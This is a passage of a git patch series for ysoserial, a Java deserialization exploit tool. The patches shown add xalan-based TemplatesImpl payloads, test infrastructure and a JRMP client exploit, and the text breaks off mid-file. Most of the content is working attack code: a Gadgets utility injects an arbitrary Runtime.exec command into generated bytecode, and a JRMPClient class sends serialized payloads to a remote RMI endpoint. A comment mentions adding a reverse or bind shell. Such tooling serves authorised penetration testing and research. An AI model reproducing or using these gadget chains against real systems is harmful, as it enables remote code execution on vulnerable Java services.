From a69ce66e693f6f5a21f7b28b3ef58976524d4184 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sat, 5 Mar 2016 13:50:34 +0100 Subject: [PATCH 01/25] Add ability to generate TemplatesImpl payloads with an actual non-shaded xalan implementation. --- pom.xml | 18 +++++++ .../CommonsBeanutilsCollectionsLogging1.java | 6 +-- .../payloads/CommonsCollections2.java | 5 +- .../payloads/CommonsCollections3.java | 5 +- .../payloads/CommonsCollections4.java | 3 +- src/main/java/ysoserial/payloads/Jdk7u21.java | 5 +- src/main/java/ysoserial/payloads/Spring1.java | 6 +-- .../java/ysoserial/payloads/util/Gadgets.java | 48 ++++++++++++++++--- 8 files changed, 71 insertions(+), 25 deletions(-) diff --git a/pom.xml b/pom.xml index abdac5f..b4ec9cf 100644 --- a/pom.xml +++ b/pom.xml @@ -132,4 +132,22 @@ 4.1.4.RELEASE + + + + xalan + + + properXalan + + + + + xalan + xalan + 2.7.2 + + + + diff --git a/src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java b/src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java index 27b34d1..7d46625 100755 --- a/src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java +++ b/src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java @@ -10,14 +10,12 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; - -@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload { public Object getObject(final String command) throws Exception { - final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit"); diff --git a/src/main/java/ysoserial/payloads/CommonsCollections2.java b/src/main/java/ysoserial/payloads/CommonsCollections2.java index bbfcd1c..f6c7ea4 100755 --- a/src/main/java/ysoserial/payloads/CommonsCollections2.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections2.java @@ -11,7 +11,6 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; /* Gadget chain: @@ -24,12 +23,12 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; Runtime.exec() */ -@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({"org.apache.commons:commons-collections4:4.0"}) public class CommonsCollections2 implements ObjectPayload> { public Queue getObject(final String command) throws Exception { - final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); diff --git a/src/main/java/ysoserial/payloads/CommonsCollections3.java b/src/main/java/ysoserial/payloads/CommonsCollections3.java index a0cf572..6216342 100755 --- a/src/main/java/ysoserial/payloads/CommonsCollections3.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections3.java @@ -17,19 +17,18 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; /* * Variation on CommonsCollections1 that uses InstantiateTransformer instead of * InvokerTransformer. */ -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings({"rawtypes", "unchecked", "restriction"}) @Dependencies({"commons-collections:commons-collections:3.1"}) public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { public Object getObject(final String command) throws Exception { - TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command); + Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( diff --git a/src/main/java/ysoserial/payloads/CommonsCollections4.java b/src/main/java/ysoserial/payloads/CommonsCollections4.java index 76c6f6c..3ad2147 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections4.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections4.java @@ -16,7 +16,6 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; /* @@ -28,7 +27,7 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; public class CommonsCollections4 implements ObjectPayload> { public Queue getObject(final String command) throws Exception { - TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + Object templates = Gadgets.createTemplatesImpl(command); ConstantTransformer constant = new ConstantTransformer(String.class); diff --git a/src/main/java/ysoserial/payloads/Jdk7u21.java b/src/main/java/ysoserial/payloads/Jdk7u21.java index 342f306..398a098 100755 --- a/src/main/java/ysoserial/payloads/Jdk7u21.java +++ b/src/main/java/ysoserial/payloads/Jdk7u21.java @@ -11,7 +11,6 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; /* @@ -51,12 +50,12 @@ LinkedHashSet.readObject() Runtime.exec() */ -@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies() public class Jdk7u21 implements ObjectPayload { public Object getObject(final String command) throws Exception { - final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608"; diff --git a/src/main/java/ysoserial/payloads/Spring1.java b/src/main/java/ysoserial/payloads/Spring1.java index f655cfb..9e0663e 100644 --- a/src/main/java/ysoserial/payloads/Spring1.java +++ b/src/main/java/ysoserial/payloads/Spring1.java @@ -15,8 +15,6 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; - /* Gadget chain: @@ -46,12 +44,12 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; */ -@SuppressWarnings({"restriction", "rawtypes"}) +@SuppressWarnings({"rawtypes"}) @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) public class Spring1 extends PayloadRunner implements ObjectPayload { public Object getObject(final String command) throws Exception { - final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); final ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index ad6b18c..683f8f4 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -4,7 +4,9 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIA import java.io.Serializable; import java.lang.reflect.Array; +import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; @@ -12,6 +14,7 @@ import java.util.Map; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; +import ysoserial.payloads.util.Gadgets.StubTransletPayload; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; @@ -24,7 +27,7 @@ import com.sun.org.apache.xml.internal.serializer.SerializationHandler; /* * utility generator functions for common jdk-only gadgets */ -@SuppressWarnings("restriction") +@SuppressWarnings({"restriction", "rawtypes", "unchecked"}) public class Gadgets { static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled @@ -71,19 +74,35 @@ public class Gadgets { map.put(key,val); return map; } + - public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { - final TemplatesImpl templates = new TemplatesImpl(); + public static Object createTemplatesImpl ( final String command ) throws Exception { + if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { + return createTemplatesImpl( + command, + Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), + Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), + Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); + } + + return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); + } + + public static T createTemplatesImpl(final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { + final T templates = tplClass.newInstance(); // use template gadget class - ClassPool pool = ClassPool.getDefault(); - pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); - final CtClass clazz = pool.get(StubTransletPayload.class.getName()); + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); + pool.insertClassPath(new ClassClassPath(abstTranslet)); + final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); + CtClass superC = pool.get(abstTranslet.getName()); + clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); @@ -97,4 +116,21 @@ public class Gadgets { Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } + + + public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException { + HashMap s = new HashMap(); + Reflections.setFieldValue(s, "size", 2); + + Class nodeC = Class.forName("java.util.HashMap$Node"); + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + nodeCons.setAccessible(true); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } } From 7157d5e29718ed94ba0c613c4b7028856d9b4da6 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sat, 5 Mar 2016 14:11:45 +0100 Subject: [PATCH 02/25] Some basic cleanups (warnings, imports) Add controlled instantiation constructor utility. --- src/main/java/ysoserial/GeneratePayload.java | 1 + .../ysoserial/exploit/RMIRegistryExploit.java | 2 +- .../java/ysoserial/payloads/BeanShell1.java | 4 +--- .../ysoserial/payloads/ObjectPayload.java | 1 + .../java/ysoserial/payloads/util/Gadgets.java | 3 +-- .../ysoserial/payloads/util/Reflections.java | 20 ++++++++++++++++++ .../java/ysoserial/payloads/PayloadsTest.java | 21 +++++++++++++++---- 7 files changed, 42 insertions(+), 10 deletions(-) diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java index e6e41df..7eb1d64 100644 --- a/src/main/java/ysoserial/GeneratePayload.java +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -30,6 +30,7 @@ public class GeneratePayload { System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(); System.exit(USAGE_CODE); + return; // make null analysis happy } try { diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java index 7286a00..c82f4b5 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -3,7 +3,6 @@ package ysoserial.exploit; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; -import java.util.Arrays; import java.util.concurrent.Callable; import ysoserial.payloads.CommonsCollections1; @@ -18,6 +17,7 @@ import ysoserial.secmgr.ExecCheckingSecurityManager; * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . */ +@SuppressWarnings({"rawtypes", "unchecked"}) public class RMIRegistryExploit { public static void main(final String[] args) throws Exception { final String host = args[0]; diff --git a/src/main/java/ysoserial/payloads/BeanShell1.java b/src/main/java/ysoserial/payloads/BeanShell1.java index 04b61e1..80ab9d9 100644 --- a/src/main/java/ysoserial/payloads/BeanShell1.java +++ b/src/main/java/ysoserial/payloads/BeanShell1.java @@ -3,8 +3,6 @@ package ysoserial.payloads; import bsh.Interpreter; import bsh.XThis; -import java.io.*; -import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Comparator; @@ -17,7 +15,7 @@ import ysoserial.payloads.util.PayloadRunner; * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) */ -@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.beanshell:bsh:2.0b5" }) public class BeanShell1 extends PayloadRunner implements ObjectPayload { diff --git a/src/main/java/ysoserial/payloads/ObjectPayload.java b/src/main/java/ysoserial/payloads/ObjectPayload.java index 3a8133f..2693f76 100644 --- a/src/main/java/ysoserial/payloads/ObjectPayload.java +++ b/src/main/java/ysoserial/payloads/ObjectPayload.java @@ -6,6 +6,7 @@ import org.reflections.Reflections; import ysoserial.GeneratePayload; +@SuppressWarnings("rawtypes") public interface ObjectPayload { /* * return armed payload object to be serialized that will execute specified diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index 683f8f4..3994cb5 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -14,7 +14,6 @@ import java.util.Map; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; -import ysoserial.payloads.util.Gadgets.StubTransletPayload; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; @@ -113,7 +112,7 @@ public class Gadgets { // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); - Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; } diff --git a/src/main/java/ysoserial/payloads/util/Reflections.java b/src/main/java/ysoserial/payloads/util/Reflections.java index d4dc7f4..17a35f5 100644 --- a/src/main/java/ysoserial/payloads/util/Reflections.java +++ b/src/main/java/ysoserial/payloads/util/Reflections.java @@ -2,7 +2,11 @@ package ysoserial.payloads.util; import java.lang.reflect.Constructor; import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import sun.reflect.ReflectionFactory; + +@SuppressWarnings ( "restriction" ) public class Reflections { public static Field getField(final Class clazz, final String fieldName) throws Exception { @@ -29,5 +33,21 @@ public class Reflections { ctor.setAccessible(true); return ctor; } + + + public static T createWithoutConstructor ( Class classToInstantiate ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + @SuppressWarnings ( {"unchecked"} ) + public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + objCons.setAccessible(true); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + sc.setAccessible(true); + return (T)sc.newInstance(consArgs); + } } diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index b5fd940..93dc79e 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -36,7 +36,7 @@ import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException; TODO: figure out better way to test exception behavior than comparing messages */ -@SuppressWarnings({"restriction", "unused", "unchecked"}) +@SuppressWarnings({"rawtypes", "unused", "unchecked"}) @RunWith(Parameterized.class) public class PayloadsTest { private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); @@ -59,9 +59,9 @@ public class PayloadsTest { testPayload(payloadClass, new Class[0]); } - public static void testPayload(final Class> payloadClass, final Class[] addlClassesForClassLoader) throws Exception { + public static void testPayload(final Class> payloadClass, final Class[] addlClassesForClassLoader) throws Exception { final String command = "hostname"; - final String[] deps = Dependencies.Utils.getDependencies(payloadClass); + final String[] deps = buildDeps(payloadClass); ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); final byte[] serialized = sm.wrap(new Callable(){ public byte[] call() throws Exception { @@ -87,7 +87,20 @@ public class PayloadsTest { Assert.assertEquals(Arrays.asList(command), sm.getCmds()); } - @SuppressWarnings({ "unchecked" }) + /** + * @param payloadClass + * @return + */ + private static String[] buildDeps ( final Class> payloadClass ) { + String[] baseDeps = Dependencies.Utils.getDependencies(payloadClass); + if ( System.getProperty("properXalan") != null ) { + baseDeps = Arrays.copyOf(baseDeps, baseDeps.length+1); + baseDeps[baseDeps.length-1] = "xalan:xalan:2.7.2"; + } + final String[] deps = baseDeps; + return deps; + } + private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class[] classDependencies) throws Exception { File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0]; URL[] urls = new URL[jars.length]; From 8dfce7ed73fd094aba6600ba37730940c4a2ff13 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sat, 5 Mar 2016 14:48:02 +0100 Subject: [PATCH 03/25] Add custom test infrastructure. --- src/main/java/ysoserial/PayloadTest.java | 24 ++++++ src/main/java/ysoserial/payloads/Jdk7u21.java | 17 ++++ src/test/java/ysoserial/CustomTest.java | 16 ++++ src/test/java/ysoserial/WrappedTest.java | 23 +++++ .../java/ysoserial/payloads/PayloadsTest.java | 83 ++++++++++++++++--- 5 files changed, 150 insertions(+), 13 deletions(-) create mode 100644 src/main/java/ysoserial/PayloadTest.java create mode 100644 src/test/java/ysoserial/CustomTest.java create mode 100644 src/test/java/ysoserial/WrappedTest.java diff --git a/src/main/java/ysoserial/PayloadTest.java b/src/main/java/ysoserial/PayloadTest.java new file mode 100644 index 0000000..ba21154 --- /dev/null +++ b/src/main/java/ysoserial/PayloadTest.java @@ -0,0 +1,24 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 05.03.2016 by mbechler + */ +package ysoserial; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +/** + * @author mbechler + * + */ +@Retention(RetentionPolicy.RUNTIME) +public @interface PayloadTest { + + String skip() default ""; + + String precondition() default ""; + + String harness() default ""; +} diff --git a/src/main/java/ysoserial/payloads/Jdk7u21.java b/src/main/java/ysoserial/payloads/Jdk7u21.java index 398a098..1645a3b 100755 --- a/src/main/java/ysoserial/payloads/Jdk7u21.java +++ b/src/main/java/ysoserial/payloads/Jdk7u21.java @@ -6,6 +6,7 @@ import java.util.LinkedHashSet; import javax.xml.transform.Templates; +import ysoserial.PayloadTest; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; @@ -52,6 +53,7 @@ LinkedHashSet.readObject() @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies() +@PayloadTest ( precondition = "isApplicableJavaVersion") public class Jdk7u21 implements ObjectPayload { public Object getObject(final String command) throws Exception { @@ -77,6 +79,21 @@ public class Jdk7u21 implements ObjectPayload { return set; } + + public static boolean isApplicableJavaVersion() { + String property = System.getProperties().getProperty("java.version"); + if ( property == null ) { + return false; + } + String parts[] = property.split("\\.|_|-");; + int major = Integer.parseInt(parts[1]); + int minor = Integer.parseInt(parts[2]); + int update = Integer.parseInt(parts[3]); + if ( major < 7 || (major == 7 && update <= 21) ) { + return true; + } + return false; + } public static void main(final String[] args) throws Exception { PayloadRunner.run(Jdk7u21.class, args); diff --git a/src/test/java/ysoserial/CustomTest.java b/src/test/java/ysoserial/CustomTest.java new file mode 100644 index 0000000..e85a4d3 --- /dev/null +++ b/src/test/java/ysoserial/CustomTest.java @@ -0,0 +1,16 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 05.03.2016 by mbechler + */ +package ysoserial; + + +/** + * @author mbechler + * + */ +public interface CustomTest extends Runnable { + +} diff --git a/src/test/java/ysoserial/WrappedTest.java b/src/test/java/ysoserial/WrappedTest.java new file mode 100644 index 0000000..55b226f --- /dev/null +++ b/src/test/java/ysoserial/WrappedTest.java @@ -0,0 +1,23 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 05.03.2016 by mbechler + */ +package ysoserial; + +import java.util.concurrent.Callable; + +/** + * @author mbechler + * + */ +public interface WrappedTest { + + /** + * @param innerCallable + * @return a wrapped callable + */ + Callable createCallable ( Callable innerCallable ); + +} diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 93dc79e..9f68565 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -3,6 +3,8 @@ package ysoserial.payloads; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.Arrays; @@ -12,6 +14,7 @@ import java.util.concurrent.Callable; import org.hamcrest.CoreMatchers; import org.jboss.shrinkwrap.resolver.api.maven.Maven; import org.junit.Assert; +import org.junit.Assume; import org.junit.Rule; import org.junit.Test; import org.junit.contrib.java.lang.system.ProvideSecurityManager; @@ -19,9 +22,12 @@ import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import org.junit.runners.Parameterized.Parameters; +import ysoserial.CustomTest; import ysoserial.Deserializer; +import ysoserial.PayloadTest; import ysoserial.Serializer; import ysoserial.Throwables; +import ysoserial.WrappedTest; import ysoserial.payloads.TestHarnessTest.ExecMockPayload; import ysoserial.payloads.TestHarnessTest.NoopMockPayload; import ysoserial.payloads.annotation.Dependencies; @@ -62,21 +68,37 @@ public class PayloadsTest { public static void testPayload(final Class> payloadClass, final Class[] addlClassesForClassLoader) throws Exception { final String command = "hostname"; final String[] deps = buildDeps(payloadClass); + + PayloadTest t = payloadClass.getAnnotation(PayloadTest.class); + + if ( t != null ) { + if ( !t.skip().isEmpty()) { + Assume.assumeTrue(t.skip(), false); + } + + if ( !t.precondition().isEmpty()) { + Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition())); + } + } + + Object wrapper = null; + if ( t != null && !t.harness().isEmpty() ) { + wrapper = Class.forName(t.harness()).newInstance(); + + if ( wrapper instanceof CustomTest ) { + ( (CustomTest) wrapper ).run(); + return; + } + } + ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); - final byte[] serialized = sm.wrap(new Callable(){ - public byte[] call() throws Exception { - ObjectPayload payload = payloadClass.newInstance(); - final Object f = payload.getObject(command); - return Serializer.serialize(f); - }}); - + final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command)); try { - Object deserialized = sm.wrap(new Callable(){ - public Object call() throws Exception { - return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader); - } - }); - + Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); + if ( wrapper instanceof WrappedTest ){ + callable = ((WrappedTest)wrapper).createCallable(callable); + } + Object deserialized = sm.wrap(callable); Assert.fail(ASSERT_MESSAGE); // should never get here } catch (Throwable e) { // hopefully everything will reliably nest our ExecException @@ -87,6 +109,41 @@ public class PayloadsTest { Assert.assertEquals(Arrays.asList(command), sm.getCmds()); } + /** + * @param payloadClass + * @param command + * @return + */ + private static Callable makeSerializeCallable ( final Class> payloadClass, final String command ) { + return new Callable(){ + public byte[] call() throws Exception { + ObjectPayload payload = payloadClass.newInstance(); + final Object f = payload.getObject(command); + return Serializer.serialize(f); + }}; + } + + /** + * @param t + * @param addlClassesForClassLoader + * @param deps + * @param serialized + * @return + */ + private static Callable makeDeserializeCallable ( PayloadTest t, final Class[] addlClassesForClassLoader, final String[] deps, final byte[] serialized ) { + return new Callable(){ + public Object call() throws Exception { + return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader); + } + }; + } + + + private static boolean checkPrecondition ( Class> pc, String precondition ) throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Method precondMethod = pc.getMethod(precondition); + return (Boolean) precondMethod.invoke(null); + } + /** * @param payloadClass * @return From 436e831cbd88b5f56ed0ac9fd9fd41703119df17 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sat, 5 Mar 2016 15:42:44 +0100 Subject: [PATCH 04/25] Add JRMP utilties, gadgets and test code. --- src/main/java/ysoserial/PayloadTest.java | 1 + .../java/ysoserial/exploit/JRMPClient.java | 139 +++++++++ .../java/ysoserial/exploit/JRMPListener.java | 284 ++++++++++++++++++ .../java/ysoserial/payloads/JRMPClient.java | 81 +++++ .../java/ysoserial/payloads/JRMPListener.java | 55 ++++ .../ysoserial/payloads/ObjectPayload.java | 24 ++ src/test/java/ysoserial/CustomTest.java | 6 +- .../payloads/JRMPReverseConnectTest.java | 66 ++++ .../java/ysoserial/payloads/PayloadsTest.java | 24 +- 9 files changed, 670 insertions(+), 10 deletions(-) create mode 100644 src/main/java/ysoserial/exploit/JRMPClient.java create mode 100644 src/main/java/ysoserial/exploit/JRMPListener.java create mode 100644 src/main/java/ysoserial/payloads/JRMPClient.java create mode 100644 src/main/java/ysoserial/payloads/JRMPListener.java create mode 100644 src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java diff --git a/src/main/java/ysoserial/PayloadTest.java b/src/main/java/ysoserial/PayloadTest.java index ba21154..4f38682 100644 --- a/src/main/java/ysoserial/PayloadTest.java +++ b/src/main/java/ysoserial/PayloadTest.java @@ -21,4 +21,5 @@ public @interface PayloadTest { String precondition() default ""; String harness() default ""; + } diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java new file mode 100644 index 0000000..7abfc7e --- /dev/null +++ b/src/main/java/ysoserial/exploit/JRMPClient.java @@ -0,0 +1,139 @@ +package ysoserial.exploit; + + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLClassLoader; +import java.net.UnknownHostException; + +import javax.net.SocketFactory; + +import sun.rmi.transport.TransportConstants; +import ysoserial.payloads.ObjectPayload.Utils; + + +/** + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class JRMPClient { + + public static final void main ( final String[] args ) { + if ( args.length < 4 ) { + System.err.println(JRMPClient.class.getName() + " "); + System.exit(-1); + } + + Object payloadObject = Utils.makePayloadObject(args[2], args[3]); + String hostname = args[ 0 ]; + int port = Integer.parseInt(args[ 1 ]); + try { + System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); + makeDGCCall(hostname, port, payloadObject); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + + } + + /** + * @param hostname + * @param port + * @param payloadObject + * @throws IOException + * @throws UnknownHostException + * @throws SocketException + */ + public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { + InetSocketAddress isa = new InetSocketAddress(hostname, port); + Socket s = null; + DataOutputStream dos = null; + try { + s = SocketFactory.getDefault().createSocket(hostname, port); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings ( "resource" ) + final ObjectOutputStream objOut = new MarshalOutputStream(dos); + + objOut.writeLong(2); // DGC + objOut.writeInt(0); + objOut.writeLong(0); + objOut.writeShort(0); + + objOut.writeInt(1); // dirty + objOut.writeLong(-669196253586618813L); + + objOut.writeObject(payloadObject); + + os.flush(); + } + finally { + if ( dos != null ) { + dos.close(); + } + if ( s != null ) { + s.close(); + } + } + } + + /** + * @author mbechler + * + */ + static final class MarshalOutputStream extends ObjectOutputStream { + + /** + * @param out + */ + MarshalOutputStream ( OutputStream out ) throws IOException { + super(out); + } + + @Override + protected void annotateClass ( Class cl ) throws IOException { + if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { + writeObject(null); + } + else { + URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); + String cb = ""; + for ( URL u : us ) { + cb += u.toString(); + } + writeObject(cb); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + @Override + protected void annotateProxyClass ( Class cl ) throws IOException { + annotateClass(cl); + } 